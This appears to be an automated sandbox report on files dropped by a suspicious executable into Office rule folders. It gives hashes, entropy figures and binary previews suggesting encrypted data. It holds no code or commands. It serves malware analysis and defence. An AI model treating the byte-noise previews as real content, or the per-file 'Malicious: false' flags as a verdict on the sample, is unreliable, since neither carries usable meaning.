Preview:	<?xml.M...Y>i..4.Qo]@..U.%.[.4...JD.!.b.X.uDJ..z.Y.F.N;1{.x.Z..(....+...Y.....u.u;.{{1..6.+/......K......XH.!..3..M.h......k..{....~a.V.E...&r_..."....................',J.[C.._.J..... .9y...o.am...7.F(.}..#.......:b5.EX..........pG.R..cF...q.....!...'M...'e.o......\|..W....[.]2.._s_&".....A...8...8?\B<..W..fseo1.%./(.om3.^.yb.'.h.AY../..P.....i..8'..;.2.~@.+.h....)....~td.../kbe......S..qm...#..........d^i...\...z..9Fo..h..<.jDj..p..........._3..k.p:...ko..M.....}.9.m8..z&H.ya....Z.U.5.....Q.O.\...6....4..s.s..........rk)..B;-.b...ve..k.#.IV.....]..f....b....P.".@....5yuo9@6......Q...n...a.e.O=RFZ.?L.....$.vv.]..&..dL^=.0L.w.R..c.....\<.._. .2^.h......E....x.k.b..7C...n.x...5/5.7....?o....^...........].o.\|c..Wb.....89..0s?$.C..+...Y.x..W.=...t.........mR......q.r.#....e.s..<.L....V....$....(.+......~>.Q_ .{..u..O.-.X....H.<....g.:}...;8.Re_,.>......g.Sr.:.....z...+.......6.*....Bc....cP..z-Z6iwSvCoAt8T8K2ROxecuXHPNHv7e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.761809383791075
Encrypted:	false
SSDEEP:	24:jbOOJsatFyw5tDUdaM8X61P7D5trymAj4tSxObD:jbz+atrtDUaM8KPBy2tjD
MD5:	E8EB4AA73A1E115B55B492490F93CC5A
SHA1:	1CAC3CAC92FB456A33256AB6ADAEB16A0E598FBE
SHA-256:	360895CECF512B5B22FFBA0F7D31CFFA3A7F84BA7F653FA506E11A9DCEF1C0C2
SHA-512:	0DA81DB3C3AA2A5EC38EE1033939D774776EACC96ABB55F2531356AA404822F9DA6174EE297B9E09045E1180D2E63EBA1EB5FFFE6DB3647AEA8E5FDA8009E451
Malicious:	false
Preview:	<?xml.B.qV.@G.R>....Q.a{.V$.>o.V.Cs:M....jnA`p..q..a.{.........5....S(.\...c..'...Y.0..''.H..$..5.d...C..z.`O.....X..:..(..&..b..T..moR.B.-...%..6.r. .9.T...S..YF..@.K.._.4..e.....".Yy...5st..D.l!....0l6...r..o.p7M.p..\J..gN....V..^..]..qr3.8`..o.Wg*^^..lM..s.E}...L`..^.$...<7!..z+..M......>n.9...\|d/.)...n./..y....P..eq........y......p....W.e..'...;B..f..Bh...9.a."....J..6...`.e.?\|F[....j.....{...(...+..$..)...9....D...R...P..k...(&j..Z.?...=.U....X"[..4.A..\.^DP.o.../....Nj...V.'.......N..c..H..j>it.d.c.l........7 ..`..5OQH...a..8....G+.H.P`..X.'J...~....{-.`.x....pyM..?..G/....a.\...F....5.'A]......4..Uk.r..'l.7..Y/.?h.B%..=[..y.#...p.tgI....P..wG.r....1.hf .v./..xH}z7..6.&8OR.$.Ar..BGz..#..J[..g@.{..5g...O....S.`._./..i);...,..a?.....Ns0...f..<..((.}.}......po.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.9781098806525055
Encrypted:	false
SSDEEP:	192:vjXlKitt3Vs34Ff2BaDVVPwv7MLlZDF4YdIJP6lHTSCo7WxFKC:vLQiLVs37gNwwLzFTdNzSmxFKC
MD5:	7184D8A0EB0A81D2D82360B61DE0321E
SHA1:	4C21C5F14D18EEEFDAA52FD91775D10AB59090A9
SHA-256:	24E5DAF4BFD82C727F9350053E110E9D5E29995C83BB06C74190F5C65EE270F6
SHA-512:	03781A1F3F832C5A92205F42C26BE3B3F81C68344809C22680134A91629815F42387FAE74436F7069CFC5B40F6578FF3FDA75368FD7EE4FD68405DAE9132C705
Malicious:	false
Preview:	<?xml.Wj7.....^..L;...2.HB..v_+.h..&....\|[.....)_2.#.N.q#.+..3.....?....;G..0.mG.h.L..+..}.`..DR.W....`vK..f.u...0..c.Lc_..-r.h.zV"..;..x.c......ex........~S6........&A...m.z./.a..e=.4i-.j...+.."q.Lt....7o.5...Q.q.:.;L..O..Mq........m..b.....Y....-N...c.ut.}...E)....=.......Z.yH<.RD.....nF..vt.G.........<.)..V-..)u......a...a.S.......XH.;Q...jv..`,..G{V[..8..U.U..?k..{.-../.@......dWV....L.I..t.]o...Kz...m.X.}.kl.TW....<...@.f\|......;G;.9..Bip....."...28b..k...o.^....<P..2........$..v.R.'>w.;....e...4.'....^.7...y..k.c..................p...<N.b~..'.B y..`.~..}.n...{=...VcG*......43...<xH.\|.o....<&c...&.\|..h..,.A...T.Q..[u.#u.........Cg......J....].%.Y.2h...rp....z.....M..~...K.u8P.'c.j.n....:ghI......k....4....9.n.].....6..........+.......N.v...=....5.........H2".....e.ag...%..).mc. ........G,.L...I..\..R.9.K.~....v.4.,).'.......R...,#.......{X.......2...Jh.o.t..j.>{.tW..q9u..i!B.s+a......l...J\.E._..(...r.... Mj)..+.W.7......./7.L.Mk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.822190658519253
Encrypted:	false
SSDEEP:	24:qvwmfkl4Bq8KotCTjb+/fWj/pTBD09aX+nXlpd0e9ESh3muZNj1/nK4oObD:qLtBqbHTnw4/D09KIXlpd0eESh3mu7j5
MD5:	5FC1948F9BFEC6846BA39216773A6040
SHA1:	7AA66040804086CC905C0CAA35B1AC7BB461659E
SHA-256:	D1C943E9B39DCA9F70694457D8BDB5614C452E58F2534F47E244F6B0C2239327
SHA-512:	F058E97A3F9F7D19D828F610B74A0F7757C84B2D717163B7D91C1BABBC366B3FDBBEFA34A046FEEC01FAED4671FAD5AD4AE51C982D6108317F3CDCA29B4DC31F
Malicious:	false
Preview:	<?xmlz.vL^N.....^S.0!=A.......i....g.5{-.K....!../..gA.5...l..'Cg.?/g...s.y.WG.rx..<Q.?W=.5Eow...>nn....b......o.....^...6..D..-...]..o,.H.F......c.p...i..4T.(...$t.... x..."h..f.#....0(h..Z..&.n...7b..6.......I....w.3...h.....o..3.euQJ.e..x.R.n.u.o[We........%I.z&.._z.A..-Z.."..V...........s.G..Nj.u.r..qA..E\|.7Bx..gp!Px#\|.'..4#to.t.;>......U._.....s.zF.p-W......5.o....+.it&..9.N..}..KEt.!..)u..6....q..i...i.H..k.J...]..r.$.T....%ys.~.,...]..n.T.El.D.k.P.bw9...9.t]..n{HZ...&......F.n..@\|.5TY.c...G.U.....G.MG..)...L..u.........8.r`.\|C)..+..r...QZ.[q.........:.hR..l^?...mSw...s..?P...He.....wT.g.UL.......5.!.ls..a...k.8...#w( .R..>.g&..8.......P....B.......r.Q....".....5S... k..ba.tb.....JyT.Sq...'... <.T$A..\|.F#c4.p...D..}.b...:.......Fi2e.. v.........E%.....hN3.K.....3%Q.l7{x.qp.F...0...Q%......j.9({....y...E.n..}.......4.~..E....:G."-^E'.b....L.....4.;.N.F.`..F;.YL..\|....p..J.....6...Z.\..~X..5{..M......$3.bp>..E..%.Og....O.4.Z..P+.tadmb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.825158052230257
Encrypted:	false
SSDEEP:	24:PCVfOtoucW1PizR8X26IEdtfCPFnET60V/0CO/yH6eMckxsRcJhDScHcOKObD:PCV2todpzRuI1PFEu0V/HQyH6eMckqml
MD5:	14640007595CE6B3748C1124211A42CC
SHA1:	FE772D32DE7FE3E4888EA96ACFF894732C9B9E3F
SHA-256:	815B470942232C384691374C36C489332EFA5D0AA89A636324AE5B73C584D036
SHA-512:	F545A1A36ADA38B6E583380A46CAF8E2348D396E9EA8E439E94C00465BFB808798B03FE5BCD0D3AE83C6F5213459526EAE1FF1F1BA1AF2ED7447F09E2D0E2900
Malicious:	false
Preview:	<?xml.R.'..t....i....`......;....j"...><#. .:3;...X.V..QRX.S...04gi+4D..y..}..$3j.l.0.%.Xv.U.!H....h.L....)1....]S...+.z ...O \|.b.....h..B.z.U..9b.....-.e......t...2...0/d.'..[.....>e.ZY...f.P..^...\Bk..0..%...z_._....sH..c..(.S..$1.2%\|..DL.N7....p../3`v....F..Dm...].U.+...IJ..1.>R..4a.........v^h.K"&.l.;..G..6g....z..6Ko;]..4..-..?.f.......n".\....#...\|.O(P.?SaAN.u.Zg.M......D\|."..3..........,....$K.]}....,....r.-;N.....8.!_............n;..N..J.@..^....a.{T.\|..q....WR..F..g.....wL.....r.a..".^....W.`M.b.......N:...q.R.j.L.n/..3.k...w..4,..../c.5....j..T..^.......72.._...J..(!bu.5.:..c....,.5%X".4^..i..K...h.......Z......>Ix..Z..5?=..+....d.B.~..K.....\|o\.4...P..i..7vm.....A...4.N..S9DU..L.n.T.lxg>..s.p.K.A...~..<..2<..YL....k..z{.....t.82....w.......:...T..S...6..".f.~~......{..._.-.L.)W.8..I......D#.~..~..&Q..z..@.p..'...UC.&l....b,.i..W:...h.J .....W.D>'..).".w.....}... U8.%....T..B...C7.Y....l>.F...;.....L-_r.M.VL..]b.[(......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.789994380098826
Encrypted:	false
SSDEEP:	24:wf/m2/8BgmO65pG3APNnrjQSmJjcmwkI3w7eyFfOEp+M8/EWlkGn16ObD:wf/mW8BgO5pGur7meIFFfjB8sWP1dD
MD5:	CEA59406DFEEF33890F01F03476A1B3A
SHA1:	86A2EEC78F66BBC1573DF3F4EC968238D2F66286
SHA-256:	21793922A6B63E1E5E1CC5BE11BA42C2BCCD9581AA860C7A4D06C2F1F6439EA6
SHA-512:	07EFED869B88D588E78A2E8B62701D1350B8E37ECDFF5E9FD6DE7684AF128AAD5F22F2AF9F2000B8799ED9FCE23F75599C9ADEB8FB48DFB1F485355C726A12FC
Malicious:	false
Preview:	<?xmlM...,.%.-..MEz...{...2.h.g..r.>..+...I...+5t.U=i......\.?..<.0.4...<...r!U.T...Z.L......#.......)F@..9.51.g.ynh"v.P..F.Z{..G................Hz...x..Zk..wm...?.>......J.v.......'W..lx...@..........[t83....f..;.....T8...u.-5.W^.}aOE..N.yB..w.1.....j...q.."..e..K.z.D.....m..G.t.x.....-u^..a.k...G.....ZB..M..G....!].@.{..........@e./B`W6." ..!........y..fvJ.+..d........;Y.Wm.qB.g.U....yq%.u^6..O..g.k......W.}7...K.)....w.8g..<1...g.....%TN...4.Rn..S...T.P.+l.N>s......../.6.J.W......6...4.e..N.....@.g:..qd%...GD )(.H.....qXF..P.@.(..k..cD.A?...X.S....t1'.U....t"7Ln..>...)QDSr.....+......).s`.p....9.h!b....M/;....r7.\|.<'...3y..Xz.....V.q.I.zZ.5{.Ny`..S.L....}..........$..9k<..@..E....1q.a;..0l..8.....t.y\|y-..`9.z.I..i.....?7..z.\....%..5\|(....;.v2.(...o.Eo)j.@..@.....t.._.<.a.@oc....~.E..]..l.........<T.......+..,~W.p.=.>.....:...A<...P.B..K..~..7C.ti.&......wmp....}Wl........A...75....{s.(/:.Y..P...>0.'..#8N......%i(.X..B.'QQCZ6iwS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.931638341766461
Encrypted:	false
SSDEEP:	96:XHp7+UpviqWxiZuCKqyfzYf9z0oCxbweMdZ:XJZdYi7y7wuxMeQZ
MD5:	2C3C4433B4E2A72197631D6E8516DEE6
SHA1:	5CD9DF8DDBCE10B2DE16552C274DA54CED7B3F8A
SHA-256:	DF845791FD3693E5700B4AFD3BBCFCF230089C0FDEFAC50A5482B9EC90BCD9FD
SHA-512:	DFC7525A37934E7D3CE24552DB3ECA2905FDE0C55225F024B328D15DCC3F8E1A86D5314D1000841C61D42959A6F4082F9430313646581FA68D69225605FFA9A6
Malicious:	false
Preview:	<?xml......U..bP[F.{1.a5.M.WU]..rl.-:......@.I.......^..+...\9.o..9.`..oHr...2..c.m.GI...d{!.,.....^....Z.....?..}.u."...4.....a#.#....a.. >...PDR..>V...J.v......G(...(t....N...Y.u....mrib6.....-.^......o...y....Xzu.0ePi.h^.8..P..."J.C...........e.t..2..(.y.x.u.d.w&..4......0..2n...j..t..e_. .............oR...S....0e....C.......h.4..Q.).YT..RMA..3....ES.....6.....-u.`Z0.#.s%.Z.D..>...H?.^8@.W.e...E.3i4%..`cw...2.zi.I.0.....a.N.....-j....k.....p>.gQAY..G.]U..p.B../-.=0.h...;..........s.M..m]..I..<....AYXR..........H....K1KX-..j3...fPt.a/...M.X._icB)..3.8.PrpP.....H...pF.B.o.dE.X5..U.R...iL[^.-I.S"......e.'s.>wtXI.rIgg>..S,.[......l...w.[d............*o.;.KZ...)?...aB.......S....#=hMk.!!...AaU...m....a.o.T..+..kEd...n.2..o.h...m.qf.l....._.....#K..hB.d...OT>h.....{s...[..S/.N$x..i.9..hg.g.4..L..`....x!.......F#S9......L..(%..`..<B.c&P.k.....@..cJ0c.@.n.@...AO..vS]k...fs....z..5QL$....+...{FD.....N...{(...U..A...c..Z.=.w#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.82568012505457
Encrypted:	false
SSDEEP:	24:QlR01rXW9boSDbrrPwpx/8VFkrKxTtX8OL6ysRRGaVZGdYObD:sR0k5DbM/8+0pX8SmRvWLD
MD5:	8F5D8A9AFCF544287A670EA7A3E0FFFD
SHA1:	0F11F1DE5BFCFCD4744BB0CB63E1337BFF51A238
SHA-256:	CC3DCCC6D1F7A446953500176F7DAC40C1379D71013A32321FDA38C82F054664
SHA-512:	A2351041E623AFCC5DDE33EE35AEDEAF6C2E981AEFFFBE7175043CB0E9CFC36C6D1C326B1841FD2CC11C61597CB2183A2EB5FA8F519435F4AA400BB9208AD7EE
Malicious:	false
Preview:	<?xml..D.:...n..a....lE&...N.....[..~X...R..".e..?}...T_J .\|..A.... ~....V...zZ)....}...5m.v?(..S.$.w.0.Om....&..F...W..1.QN...A..T.%e.YZ.....S......>.........E.R0Z....9~>...eh.Q../Wj.0.R....f.E..:...f.!#.....6.V....l...p...XT.mZ..!V.(I..o.EF........t...w._...g.....e....rl.,F...4....(.XZ)+c...ec.....6\|m5..q...w...r.T...?.Z!.).i..TY^.....".o.q&.OO.....lOE...{......p....q..4.......}.L..qai..k..:....P.WR.k..]x]mz.J.@.v.....F.-.rc..\..F.-.Y...?....k.PB.....J.x.....3....K7)..9...~.x7.{......O..,..(p.v.5t.r..w.EC...0.....(.n.i.....d...;.9..Y..?.....ME`{.`....{(.....N..4#G.. .%..k.3...p..^...NyZ}...w...&z......{,..2W.&'y1...........@k&.......@.V...J ..G.]W.,._\|....j...H.B.5 .....s.....)..w..,..#.u..>...wy.j.XCR....n..M..[..2tm..x..F._...=y.c...\__..C..W....O...m=W......!.j$B.$...Bc..n4...4y.aR....y%..._...V..........va....$......N.P.A..:....Y.XB5zbY.)._nV.J\A..nQ..J..5.K...4......o....>.L.J.R.I...\|h>.....9...HF.j....[..F...........T..a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.976475372795378
Encrypted:	false
SSDEEP:	192:4ZONis8QjBCTicRMG63nIbRAlYr/KKcl+Hkrdn/Q7fm1N1u9WJXP:4L1QtQpRT63hW2nd/e+3A9WJf
MD5:	CDAD5CBD5862646AC514038A63AF40F0
SHA1:	D17B74FDBC15E604D8CA829918EA650F3CE3EC2E
SHA-256:	8DB31620A8757C59893E14A0DA05A8978CB6CD59496926F686E568434F1C8809
SHA-512:	D966C0BE00D1DC84D272097587F6571B004B76B06DCA4957827ED81BDCEACF1ABFC86AFBE48FC28741E2E0C5C0611397561605C372214574B03977E535C6D2E6
Malicious:	false
Preview:	<?xml.z.J.?.c-.VB5..../.[.m.M...&...J.....\|TwH...$..D.I.:Z... ....5..\|Z..=.?y...n.)...Zl.-..2.-...<Q.}K0............D.pfn..s.\..(~.......am.......C1..F.`...cg.4..F.pG....E...%.v..[.,..v..K=....m...d.y..,UW.w"].......$...r..0.m.B..Fz..(..6X..!....<;b+...$,^m....j.y.Q.....Tzz.....cv...........:'.0.........?o.T..(.]X...w.I......Ot.;S8iOW..%k.5m....1.>......z.Z......q.S.'...#...i\|.''.(..ck_.lC.l.6.4.....v._:.)3..0Y....O.........S3...`.Z.{/..k.r..o.S...?q...v.f;..E.hy...>o...`..SHC...=......y.......+..:iT.... .i...>..,.:>L.....F..6....hY...q.Yd....t.......3.5S.I..-..:....-.Nk5.s.@.eA...... ..{U....^....h..0.4.'...&G%)..+.~...T..Vi..g.R..=V[.1FH.5.j..#.:/>C..<.w...-...d.....$..$.-..W....\{...LO.'6..Y.....=.Ea.....b..-.y.Z...1....._...i.!..dC.MzH.?.__....I.....E}........0.:..z.......'\|cx.F..).%..:.,.=9KM.....7.]...$......).w..T.<.\.....-i....t....tV/...fq......@`. .;Sz..f.P..JW..-.%..]..\A....y.....".Yj&.z.(...V<,Q......P.KW..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.74138188716944
Encrypted:	false
SSDEEP:	24:mZy1R0jjxeRBRX62EyeLxsaQhzFYvkYOvVAvQr3S3ObD:mi53962Edls/hzKc1z3XD
MD5:	43496514C2D57055A2C25AE2EE3ED717
SHA1:	F618152AA820B5B10A3608FAC89E85D24C4AE468
SHA-256:	01C864D98ACBAB5145E65FC4456057E4808EF7A7B2987BD8AB176BFE7D0F30F0
SHA-512:	C4D1265FAB7A283128C4EB8BA1BBE2CB7789C656F285445B883B9CECAF87D02A1681DABD12F487C0B8BC8F04252E7AB4D1B23D22ED77931F275A8EFD52423B2A
Malicious:	false
Preview:	<?xml.Vq........ aEn.._,...(.rg...f..k.-...~...wW.Ir}.c.9........~...@>...r....... \|....s..?.&F....\|..FFg.w..F...1#E..t..>~.M../.WC.d.Ly5..+...t(.....9f..1.]..m.....B].P..u..f.1...4....V......c.Jm......?..a.J..._V{. .).........2.&vcJC.09!...@...o..4.8U....4$...[.....Zg`)..Ho,.K=..z..O.oX"..na(.._Y..[3....."..QP......b._...K].\..R.....8..~.@t......@.3..5..5..m...N.r....s.%.a.{#.......]<..7.$..~.u(..G.C.&.L....! ..........C.V_...j..O..e....0...Xf..A..QK...........8.?Y'.u..5..Jr..gUO...X.J..EJ3.O...(..?....y-.&.O......0..........WE...G.Y.n.Z&... u...S/./.Y..};.3.."..gCJ.h....>..C]....{.......,B.......X..E....$.5.~. "......a.9..I.N._..b.....g/..+r. ?N...2.=[...^.....,..R..{.G....N$..]...Cx.AZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.928445741999771
Encrypted:	false
SSDEEP:	48:D2Prq2Q3+fZyEJtewilH6qLYwLicqczg8GKaCcm3vayUVfSsD:oLfZ3diBOd8GKr3bUJp
MD5:	9C20916F30654E4AA0DEFD19C0FAF2E5
SHA1:	6F7A34FEFC545F6C79909EB8D4D18469E9389C47
SHA-256:	CD38970DBB5C175FFC45E0B9265CB5BE1A5414C81C7F03012BE2ACD1C0D99B33
SHA-512:	E32C172E90563C52FE0672163AA0261CF2EE4D6BD7A806A9F7F1309686FC9A56259D3E42060F0CA6A9DDE5810C84FBEF245807EBB57375EC6CE68F61032E4666
Malicious:	false
Preview:	<?xmlo...bJ.H.:...d...}\|..n..-....$]....B...K.T+..........xuL.,..!.8.c....H=z......:...dP .^'....S........).t...7.....V..gg......&...o.a.s.L.{...C.-i...d...f(.V$.....?g.y.....h.w).8...Erm^......."...T.b.^.JC..MV.Xa.....t.p.;S...-......N..=..h...V..f.Lo}q...A..._.g8A...L'N...p....G....~.#H :.3^...s..<'.#.6.c.j3^j=w.....,..p.].V....#..{..O.6...c..t....p..U.N.q.~.5....0.<.Dw.n...K.t.e_o. _.%/...WGq..r...lE..T..N....i.J`Z......U....<..X...(.}...p.....Iv.... ..y~P....j.dlMb....]t....?....\O}..'.....>......+..^R].f.\c(Z){.V..Pn.....?Yq...u.V.G.+...H.<.@.Twz\z......mM.Q._q.Z1m.m....y..@..o9Q....e...D....]../.T..F.q..... .8..[RNnG%:..L..#....H.{.;.VE~t.#.p...{.....f...H...*;....=.\|0.....T.3t..FZp..`....]1S... 5...`..t$V;......).TX...Y.Se..2...^h..Z..%._u.9:...H.S[....M..-....9.K4 .m...6.J..)......Y.c.oy.O..O...y-l.....sg\|..M....JF ....w..E...g...:..Y.IY...ks...T.A.6.b.Z.?......cG...p....}..E;L.7. z.t.p.i.;.....S..F..oQp...^$.4.=8!..+3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.866203266346729
Encrypted:	false
SSDEEP:	24:WS7OK1ezy+jX8KRjSl4r3Uc9lOGrjb6GF9zQapcBdX9bnA1F8bKMOSZ/nN/H/l8I:WSFYFHb6GFZQapqvbnAX8bvOS9nNl/D
MD5:	F74CC1E300BD396D68BC40CFEF5843D1
SHA1:	CC6F77298A2D805AC847328675F95FBFA527ABA3
SHA-256:	A0EFD89DAB4E042780E28F57F3422E7E3954ABE6AACB1D859DCA1D03DFC8C4CD
SHA-512:	60472D3BEB1791DCFE79DD6368208BDBA4EFEBEB51434DB415BB4BF14A66D6E0D1512DDE75C3E1F4DFE07557911812644CA7EB1ACAC6321E721B591824BF493D
Malicious:	false
Preview:	<?xmlD..Mm...[%.....T..N...^.=...vj...v......x...8..H..I..B..g.k.....t....40.3.k......`....m...$...Bfr2.....K/./.......~X..%..1(V..a.c..g...}...@).l.B/..J.l)d..yz.....s.1..Dd....p.f[.G.SZ.P.LO.0tQ...m.A~..+.g=..n...$.{t.._...+v.....y....X...#....uk..C .:..Y.S.J.[..3.l.$.....\|. .Q.QOS.V3?....&.d.Z..Jg.SXr.&.&..C..37...YSd...V...W$.....Y.\. .......XX ..s#F.......o................gG...E.n..8Z...!.L(.A.j...Cl\A............N.<^.......V5.W..%m._.@..@6.....p.l...:.gi..U..[;Y.....Q..:.I?..f....-R.f.X...nU.z..22...Q...+.....O.........t.~...;.Ne. B.........cl.....1^...(..?0..Ki........"....+6..M.9........A.<...oE.......A.~.f"hi......7?P..G.C.?.T4[..X..r..............:~.iq<...M[..7.].]..\Uf)0.z...152.:2T.:.ql.q..A...a..b?.'...@...I..8.H....?.......D.s.s.<.ZNT....s.....t........."..%.1....:i..eE.KMf ....L..&................h..\.2.U.6 ...A..e..?.n+eU...$c[.]r..9w..r.......G....IY....C.$JB...,#.H..w..+...Ev..x.z.Zv...,!n.[p........J7...+. 9.k. 5.E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.939988987739395
Encrypted:	false
SSDEEP:	96:83VjGDMNMLJ9XXUHS9Bgg8IFbs3cjs5fmdymc:4TNMLJxCK38rJ5f0i
MD5:	8CD42FCAAA20B8061ED6450863DB141B
SHA1:	4A2F7D3D487E58CDB1B51FFE60F365D3FAABC779
SHA-256:	78138C143513D67E15AC908D5418E6B450B56BC2D3E86CFDC7095469928B355B
SHA-512:	C6A4886BD8902FA8F379656B60D6389669F80D75BC4A825BB5A4F91A12F92B5BB57AFB880394031691CFDA0E3184D62848354A481AFBD4FBA007BD7727B871F0
Malicious:	false
Preview:	<?xml...{.e....Tz.t7.$\....rC..<.Y..LV..v.V.....>;]>.,...bk...Y....}S.~4... .=k....:gE."s_...g<....W.K.[....X\....X..m.m<K........\.6.\|-.L9[.b..FZ).H.t.e.+.;o..E......../.w..1....hw...M..#.....Y..\V.C.w....=a..D.KM.&.ulR.8o.@CS.u.(..8.J-D..]ap/....a..P..........~R.........$"...>Q..`g..y......cE.....3Q..15u.9u.%B...)V....W&d...eV.Q...Dy. .M..=..%.......P.f...........J.....W..L..Z....z.S...........R[.R..,.6.......t...n.\J.....W...,m.Hg-.e......#=!+...Rj....x.R..f..G.zr.g.".0....U..a`....Uo+f~.. %.T=.^CGZ....Z....N..\m.......~.p%..C.7g\|.......c.cN.....[.......D....;E..'5.O..0.{v........H_..0.......jc.rFP.:..j..q1...uVO&.Uw=...k......u....+.=7.T:a...J.4..U..E...E.o.<Of........~;H.E....~.n.P..:.....A.\|]^.QA..yE\@.........{..Gb.........Ah...[.m....U....gOD.....hS..*..........Dy....s..b_7z.n..4....%ll=.4../mO.jE..(...'.tf..g.E-..z.M ..h..=y...\}.........$.}{.$.N....T... ..@...w.Jq..h.....3).+... 6p.@.4u.H.U.^..cR...V.`...4N.O.8.>.....g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.905495232830907
Encrypted:	false
SSDEEP:	48:HPN+yfoBw6yXZptcYLhRi0131k/KuyWlOGASGxpsJD:kyV6oNcYFUK1aKulITxpC
MD5:	E8646ADCAE0D50F12A0B9743CDF2655A
SHA1:	F7F8DD3C2D9F6A77FCF019BF9A4DD056ECFAE156
SHA-256:	8876A4CB31545DA372341395943CB99EE03BF739C989A8596FD3426C4EAF02B5
SHA-512:	72E2DEB3184A2543881366BAB4EC2480E3FCF5C9A156D1A981323320B266E73D81E55291E160BBEE8F508700D109FCC0296C6D49C6F2DCF8D3AD166DEC1FD97B
Malicious:	false
Preview:	<?xml.LG.T$Ke..mw..&Q.5 ..f....DJ.E.3\`....f5.u.iv.G...mGC.UAC.$.y.z...r..nKU...aC.+..@B.A.k-..Vu..)",.?.w'..L...........:'q..q....?.....>. .cb.."..M-h...p..-pdc..M.,B.l.^a.....5...,.w.r.......@hh....K.Vo.....]k>.O1T....{.zg..?A\|+!..g.^WH.4.t[..../1R>.,....s.N_:Q...m..kx j\?!..1q..M....S........M=..1........Q.n.7-.N.!....]V..aZA,.7W^./<.bR...X\..j.!.B.i.....e..{O.g.?.(.e..}.~...e."B...7..{..&. ..a....w.`IN.Q....m........H..4._..............+...u .~='.\......_..>ZYKW.kfV.!.T.S3..2. N ...O...8..A\|#.P...Xt....M.\.;w}...rN..-U....n.S....).......!g....6.).3'.C......b...A...%.m...:...%...8.0...A.....<..F.;.7y.'Y.B.BDe.............U.`.7...6B../..W.c\.Ym.v...N!...?....!...g.f.O.J.....}\|H..C+d7...]...d.......sH(2.#........8.(...".......w<...{.].) 3#....V..u....)#gs.hY.....~%...J..q!.]..G.......U.m#u.'.h...ff{..}...^75..~>...:?u..{#..E.rvzF...B.Q...d.4..Y......X....3...h...3.]..+.u.K2..[$.[5....g.l.........`.Ey..9!.F..Z=..V..vHz..s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.971241919747272
Encrypted:	false
SSDEEP:	192:OH9InjeV3OuhpSii6xmdvdzq1+HKg4SyqZy2tPbWHem:aUy5OiAQm3zq16QqQQWB
MD5:	7C44CFBB3565FE2E8E618DAFD9CF54ED
SHA1:	7E45438844CC8D5CE16C7973BD5D5EC137C93E9E
SHA-256:	34A6159DEAD788856EA3EBE25BD055005962CB62425E0AD294378D6FDBDAB4CD
SHA-512:	B6F770BE6CD0F09D69D060CB53FF0E34DC952F749BCC9C0227E218CDA6B9F5CFD906EA57D1D184C7B956371568D7206F9F7A6DD01D08E705E495735205EB207E
Malicious:	false
